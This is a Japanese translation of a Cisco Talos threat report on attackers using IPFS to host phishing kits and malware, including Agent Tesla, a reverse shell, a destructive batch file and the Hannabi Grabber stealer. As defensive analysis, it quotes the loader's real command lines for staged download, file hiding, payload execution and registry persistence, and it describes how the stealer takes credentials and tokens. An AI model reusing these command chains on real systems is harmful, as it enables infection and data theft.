Cisco Japan Blog

注目の脅威:サイバー犯罪者がフィッシング攻撃やマルウェア攻撃に IPFS を採用

1 min read



  • InterPlanetary File System(IPFS)は、新たに登場した Web3 テクノロジーです。現在、IPFS が攻撃者に悪用される事例が増えています。
  • Cisco Talos は、IPFS ネットワークを利用した複数の攻撃を確認しています。進行中のこれらの攻撃では、マルウェアペイロードとフィッシングキット インフラストラクチャをホストし、他の攻撃を促進するために IPFS が使用されています。
  • IPFS は合法的な目的で使用されることが多いため、ネットワーク内の無害な IPFS アクティビティと悪意のある IPFS アクティビティをセキュリティチームが判別するのは難しくなっています。
  • 現在、複数のマルウェアファミリが IPFS でホストされており、マルウェア攻撃の初期段階で取得されています。
  • こうした新しいテクノロジーを使用した新手の手口から身を守るには、テクノロジーと攻撃者による利用方法を理解する必要があります。

近年新しい Web3 テクノロジーが登場したことで、インターネット上でコンテンツをホストする方法とコンテンツにアクセスする方法が劇的に変化しました。こうしたテクノロジーの多くは、検閲を回避し、人々が定期的に使用しアクセスするコンテンツとインフラストラクチャの大部分の管理を分散化することに重点を置いています。各種の実用的なアプリケーションで合法的に使用されている一方で、攻撃者がフィッシング攻撃やマルウェアの配布に新たなテクノロジーを利用するケースも出てきています。Talos がここ数年間観察してきたところでは、悪意のあるコンテンツをホストするために InterPlanetary File System(IPFS)popup_iconのようなテクノロジーを利用するサイバー犯罪者が増加しています。「防弾ホスティング」と同等の機能を持ち、保存されているコンテンツをブロックしようとする試みに対して極めて高い耐性を誇るテクノロジーだからです。

InterPlanetary File System(IPFS)とは

InterPlanetary File System(IPFS)は、インターネット上のリソースのストレージの分散化を可能にするように設計された Web3 テクノロジーです。コンテンツが IPFS ネットワークに保存されると、ネットワークに参加する多くのシステム間でミラーリングされます。これにより、システムのどれか 1 つが利用できなくなっても、他のシステムがコンテンツに対する要求を処理できます。

IPFS には、NFT に関連付けられた画像、Web ページのレンダリングに使用されるリソース、インターネットユーザーがアクセスできるファイルなど、さまざまな種類のデータが保存されています。IPFS は、コンテンツの検閲に対して耐性を持つよう設計されています。いったん IPFS ネットワーク内に保存されたコンテンツを削除することは、事実上不可能だということです。

IPFS ゲートウェイ

IPFS 内に保存されているコンテンツにアクセスしたいユーザーは、こちらpopup_iconで提供されているような IPFS クライアントを使用するか、「IPFS ゲートウェイ」を利用します。IPFS ゲートウェイは、ネットワーク上でホストされているコンテンツにクライアントがアクセスできるようにするもので、インターネットと IPFS ネットワークの間に効果的に配置されています。機能としては Tor2web ゲートウェイ(クライアントをインストールしなくても Tor ネットワーク内のコンテンツにアクセス可能)に似ています。

IPFS ゲートウェイは、公開されているさまざまなツールpopup_iconを使用すれば、誰でも構築できます。以下のスクリーンショットは、インターネット経由でアクセス可能ないくつかの公開 IPFS ゲートウェイを示しています。

IPFS 内に新しいコンテンツを保存するのは簡単です。いったん保存してしまえば、コンテンツには削除に対する耐性が備わります。そのため、フィッシングページやマルウェアペイロードなどの悪意のあるコンテンツをホストするさまざまな攻撃者にとって、IPFS はますます魅力的なテクノロジーとなっています。

システムが IPFS ゲートウェイを使用して IPFS ネットワークに保存されているコンテンツにアクセスする場合、通常は、インターネット上の他の Web サイトへのアクセスに使用するのと同じ HTTP/HTTPS ベースの通信を使用します。IPFS ゲートウェイで着信要求を処理する方法については、いくつか設定の選択肢があります。実装例の中では、HTTP リクエストで指定されているサブドメイン使って、要求されたリソースを IPFS ネットワークで探し出す方法がよく見られます。次の例もその 1 つです。これは Wikipediapopup_icon のミラーコピーであり、IPFS ネットワークでホストされています。このように、リソースの IPFS 識別子(CID)が指定されています。

hxxps[:]//bafybeiaysi4s6lnjev27ln5icwm6tueaw2vdykrtjkwiphwekaywqhcjze[.]ipfs[.]infura-ipfs[.]io

また次の例のように、要求する URL の末尾に IPFS リソースの場所が追加されている実装例もあります。

hxxps[:]//ipfs[.]io/ipfs/bafybeiaysi4s6lnjev27ln5icwm6tueaw2vdykrtjkwiphwekaywqhcjze

他にも、DNS エントリを使用してリクエストを処理する方法もあります。具体的な実装は、IPFS ゲートウェイによって異なります。複数のブラウザが IPFS ネットワークのネイティブサポートを実装popup_iconし始めており、場合によっては IPFS ゲートウェイを使用する必要もありません。

フィッシング攻撃での IPFS の利用

IPFS は現在、フィッシングキットをホストするために利用されています。フィッシング攻撃で、疑いを持たない被害者からログイン情報を収集するために通常使用される Web サイトのことをフィッシングキットと言います。ある事例では、被害者のもとに、ドキュメント署名サービスの DocuSign に関連があるように装った PDF が送られてきました。以下のスクリーンショットのような PDF です。

ドキュメントを確認するために REVIEW DOCUMENT リンクをクリックすると、Microsoft の認証ページのように見えるページにリダイレクトされます。ただし、実際にはそのページは IPFS ネットワーク上でホストされています。

ユーザーは、電子メールアドレスとパスワードの入力を求められます。入力された情報は、攻撃者が管理する Web サーバーへの HTTP POST リクエストによって攻撃者に送信されます。この Web サーバーで情報が収集、処理され、その後の攻撃に使用されます。

ここ 1 年間のフィッシング攻撃で、同様の例が複数観察されています。これは、IPFS ネットワークでフィッシングキットをホストする際、コンテンツモデレーションによってブロックされる場合があることを攻撃者が認識しているためです。下のケースで PDF のハイパーリンクが参照しているのは IPFS ゲートウェイですが、潜在的な被害者を保護するためにコンテンツがブロックされ、アクセスしようとする被害者に次のメッセージを表示していました。

ただし、コンテンツはまだ IPFS ネットワーク内に存在します。これが事実であることは、コンテンツの取得に使用されている IPFS ゲートウェイを変更するだけで確認できます。

マルウェア攻撃での IPFS の利用

現在、さまざまな攻撃者がマルウェアを配布するために IPFS などのテクノロジーを利用しています。IPFS は、悪意のあるペイロードの低コストのストレージとして使用できるほか、コンテンツモデレーションに対する耐性があり、攻撃者向けの「防弾ホスティング」として有効に機能します。そのうえ、IPFS ネットワーク内でホストされている悪意のあるコンテンツにアクセスする際に一般的な IPFS ゲートウェイを使用すれば、悪意のあるドメインを使用してコンテンツを取得する場合と比べ、組織はアクセスをブロックしにくくなります。現在、IPFS を利用してさまざまなマルウェアサンプルが実際に展開されている状況が確認されています。

マルウェアの配布に IPFS を使用する手口は、攻撃者の間で一般的になりつつあります。それに伴い、2022 年を通じて実際に展開されているサンプルの件数が増加し続けています。以下の図は、IPFS を利用して配布されている個別のサンプル(公開リポジトリにアップロードされたサンプル)の数の増加を示しています。

Agent Tesla のスパム攻撃

感染プロセス全体で IPFS を利用し、最終的にはマルウェアペイロードを取得する、進行中のスパム攻撃が確認されています。ある事例では、トルコの金融機関から送信されたように見せかけた電子メールが被害者に届きました。国際通貨取引で一般的に使用されるシステムである SWIFT 決済関係の内容を装っています。

電子メールには、PE32 実行ファイルを含む ZIP ファイルが添付されています。この実行ファイルは .NET で記述されていて、感染チェーンの次のステージのダウンローダーとして機能します。実行されると、以下に示すようにダウンローダーが IPFS ゲートウェイにアクセスし、IPFS ネットワーク内でホストされているデータの Blob を取得します。

このデータには、次のステージのマルウェアペイロードとして機能する難読化された PE32 実行ファイルが含まれています。ダウンローダーは、IPFS ゲートウェイからデータを取得し、各バイトを配列に格納します。次に、実行ファイルに格納されているキー値を使用して、バイト配列を次のステージの PE32 に変換します。

これが反射的にロードおよび実行され、感染プロセスの次のステージが起動されます。この例の場合は、Agent Tesla popup_iconと呼ばれるリモートアクセス型トロイの木馬(RAT)です。

別の事例では、さまざまなマルウェアペイロードが数か月にわたってサンプルの公開リポジトリにアップロードされていることを確認しました。Talos は、同じ攻撃者によって作成された可能性があるマルウェアの 3 つの別個のクラスタを特定しています。コードレベルの問題から見て、おそらく検出機能をテストするために、数多くのサンプルの開発を活発に進めつつ並行してアップロードを行っているものと考えられます。

最初のペイロードは、3 つのクラスタすべてでローダーとして機能し、動作も同様でしたが、IPFS ネットワークでホストされている最終ペイロードはクラスタごとに異なっていました。Talos が確認した最終的なペイロードは、Python ベースの情報窃取マルウェア、msfvenompopup_icon を使用して生成されたと考えられるリバースシェルペイロード、被害者のシステムを破壊するように設計されたバッチファイルです。

初期ローダー

これらすべてのケースで同様の機能を持つローダーが使用されていましたが、一部は Discord コンテンツ配信ネットワーク(CDN)でホストされていました。以前こちらの記事で説明したように、マルウェアを配布する方法としてますます一般的になってきている手口です。使用されているファイル名は、『Minecraft』などのビデオゲームのチートやクラックを装って拡散された可能性があることを示唆しています。ほとんど場合、ローダーのパック処理は行われていませんが、UPXpopup_icon を使用してパック処理されたサンプルも実際に観察されています。

ローダーが実行されると、最初に次のコマンドを使用して、%APPDATA% 内にディレクトリ構造を作成します。

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft && mkdir Network

次に、cURL コマンドを使用して正規のソフトウェアプロバイダーから Python 3.10 を取得しようとします。

この点は注目に値します。というのも、cURL は Windows 11 で初めて Windows のネイティブ コマンドライン ユーティリティに追加されたため、直接 cURL を利用するようにしたことで、潜在的な被害者の数が大幅に減る可能性があるからです。ダウンロードを開始するために使用されるコマンドライン構文は以下のとおりです。

C:\Windows\system32\cmd.exe /c curl https://www.python.org/ftp/python/3.10.4/python-3.10.4-embed-amd64.zip -o %appdata%\Microsoft\Network\python-3.10.4-embed-amd64.zip

ZIP アーカイブを取得したら、PowerShell の「Expand-Archive」コマンドレットを使用して、前もって作成していたディレクトリに解凍します。

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && powershell Expand-Archive python-3.10.4-embed-amd64.zip -DestinationPath %appdata%\Microsoft\Network

次に、感染チェーンの最終ペイロードを取得して、「Packages.txt」というファイル名でネットワークディレクトリ内に保存しようとします。Hannabi Grabber(Python で記述された情報窃取マルウェア)を取得するローダーのサンプルは以下のとおりです。

その後、attrib.exe ユーティリティを使用して、前もって作成していたディレクトリ、取得した Python ZIP アーカイブ、最終ペイロードに System フラグと Hidden フラグを設定します。

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network\python-3.10.4-embed-amd64.zip

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network\Packages.txt

最後に、新しくダウンロードした Python の実行ファイルを呼び出し、最終ペイロードをコマンドライン引数として渡して、感染プロセスの次のステージを実行します。

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && python.exe Packages.txt

一部のケースでは、次の場所にある Windows レジストリにエントリを追加して永続化を達成することも確認しました。

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
HKLM\Software\Microsoft\Windows\CurrentVersion\Run

このローダーに関連するサンプルを分析したところ、その時点ではもう、使用されていた IPFS ゲートウェイは要求を処理していませんでした。ですが Talos は分析のため、別の IPFS ゲートウェイを介して次のステージのペイロードを手動で取得しました。

リバースシェル

このローダーを利用しているクラスタの 1 つでは、ペイロードである Python スクリプトが IPFS ネットワーク内でホストされていました。スクリプトには、base64 でエンコードされたサイズの大きい Blob と、base64 を復号化するための Python コードが含まれていました。次のスクリーンショットの例では、base64 でエンコードされた Blob のサイズがかなり大きいため、スペースの関係で編集を行っています。

base64 には、base64 でエンコードされた Blob のレイヤーがいくつか含まれており、それぞれが復号化用の Python コードでラップされていました。すべてのレイヤーを復号化して難読化を解除したリバースシェルペイロードは次のとおりです。

分析の時点ではもう、C2 サーバーは TCP/4444 の要求を処理していませんでした。

破壊的なマルウェア

分析した別のクラスタでは、以下に示すように、最終ペイロードである Windows バッチファイルが IPFS 内でホストされていました。

取得されたバッチファイルは、「Script.bat」というファイル名でネットワークディレクトリ内に保存されます。

このバッチファイルは、次の破壊的な動作を引き起こします。

  • システム上のボリュームシャドウコピーを削除
  • C:\Users(通常はユーザープロファイルに関連付けられている)内に保存されているディレクトリの内容を削除
  • システムに存在するマウントされたすべてのファイルシステムを反復処理し、それらに保存されているコンテンツを削除

分析したサンプルでは、以下に示すようにローダーのバッチファイル呼び出しに誤りがありました。被害者にとっては幸いだったと言えます。

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && powershell -Command start script.bat -Verb RunAs

Hannabi Grabber

このローダーに関連するマルウェアの最後のクラスタは、Hannabi Grabber という Python ベースの情報窃取マルウェアを取得して実行するものでした。Talos が分析したサンプルの場合、取得した Python バージョンにはスクリプトを正常に実行するために必要なモジュールが含まれておらず、感染プロセスは失敗に終わります。ただし、この情報窃取マルウェアの機能の多さを考慮し、別のメカニズムで配布された場合に備えて、検出機能を確認するために分析を実施しました。

Hannabi Grabber は、Python で記述されたフル機能の情報窃取マルウェアです。C2 とデータ漏洩に Discord のウェブフックを活用しています。現在、被害者のシステムに存在する可能性のある各種アプリケーションからの情報窃取に対応しています。感染したマシンから調査情報を収集し、IPInfo サービスを介してシステムの地理的位置を取得し、スクリーンショットを撮ります。そして最終的に、攻撃者が管理する Discord サーバーに JSON 形式でデータを送信します。

以下は、情報窃取マルウェアがサポートする各種アプリケーションのリストです。

上記のアプリケーションに加え、次に示すように、Chrome からもパスワードと Cookie データを取得します。

システム上に存在する可能性のある Mozilla Firefox ブラウザデータを対象とした同様の機能も存在します。

攻撃者が強い関心を抱いているのが Discord と Roblox のデータであり、情報窃取マルウェアには DiscordTokenProtector、BetterDiscord といった Discord のトークンプロテクタの有無をチェックするメカニズムがいくつか備わっています。プロテクタが検出されると、マルウェアはそれらをバイパスして被害者から Discord トークンを取得しようとします。以下は、こうしたチェックの一例です。

収集されたアプリケーションデータは、マルウェアによって作成された「RedDiscord」というフォルダ内の %TEMP% ディレクトリの構造の中に格納されます。データを盗み出す前には、RedDiscord ディレクトリに「Hannabi-<USERNAME>.zip」という ZIP アーカイブが作成されます。マルウェアは、まずビーコン情報を送信し、その後、新しく作成した ZIP アーカイブを盗み出そうとします。

Hannabi Grabber は、情報窃取マルウェアに共通する機能を豊富に備えています。通常攻撃者は、Python を被害者に配布する前に、PyInstaller または Py2EXE を利用して PE32 ファイル形式にコンパイルしようとします。このケースでは、感染プロセスに Python のインストールが含まれており、Python を直接利用して被害者から機密情報を盗んでいます。

まとめ

最近、ユーザーに有用な機能を提供するために、数々の新たな Web3 テクノロジーが登場しています。合法的な目的でこうしたテクノロジーが導入される例が増えてきていますが、それに伴い攻撃者にも利用され始めました。IPFS などのテクノロジーを利用したマルウェア攻撃やフィッシング攻撃の発生件数がますます増加していることが確認されています。その目的は、マルウェア感染で使用される悪意のあるコンポーネントや、機密認証データの収集に使用されるフィッシングキットなどをホストすることです。

IPFS は防弾ホスティングとして有効に機能し、コンテンツモデレーションや法執行活動に対する耐性があり、IPFS ネットワークを利用する可能性のある攻撃を検出して防御しようとする組織に問題をもたらします。このことを認識する攻撃者が増えれば、それに伴い IPFS を利用した攻撃も増え続けていくものと予想されます。組織は、新たに出現したテクノロジーがどのような形で積極的に使用されているのか、脅威の状況を把握すべきです。また、環境内での攻撃を防止または検出するための最適なセキュリティ対策の実装方法も評価する必要があります。

カバレッジ

今回の脅威は、以下の製品で検出してブロックすることが可能です。

Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。

Cisco Secure Web Appliance の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。

Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。

Threat Defense Virtual適応型セキュリティアプライアンスMeraki MX など、Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。

Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。

Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。Umbrella の無料トライアルはこちらからpopup_iconお申し込みください。

Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトを検査します。

特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。

オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org popup_iconで購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。

この脅威を検出する Snort SID は、60728 です。

この脅威を検出するには、次の ClamAV シグネチャを使用できます。

  • Win.Trojan.AgentTesla-9974905-1
  • Pdf.Phishing.Agent-9974919-0
  • Txt.Malware.ArtifactDeletion-9974896-0
  • Win.Trojan.AgentTesla-9974906-0
  • Win.Downloader.ReverseShell-9974652-1
  • Win.Loader.Hannabi-9974435-0
  • Win.Trojan.Hannabi_Grabber-9974436-0
  • Py.Malware.ReverseShell-9974437-0

Orbital クエリ

Cisco Secure Endpoint ユーザーは、Orbital Advanced Searchpopup_icon を使用して複雑な OSquery を実行し、エンドポイントが特定の脅威に感染しているかどうかを確認できます。類似の脅威に対応する osquery の具体例については、こちらpopup_iconをクリックしてください。

IOC(侵入の痕跡)

この脅威に関連する IOC は、こちらpopup_iconをご覧ください。

 

本稿は 2022 年 11 月 09 日に Talos Grouppopup_icon のブログに投稿された「Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaignspopup_icon」の抄訳です。

 

 

 

 

 

 

 

コメントを書く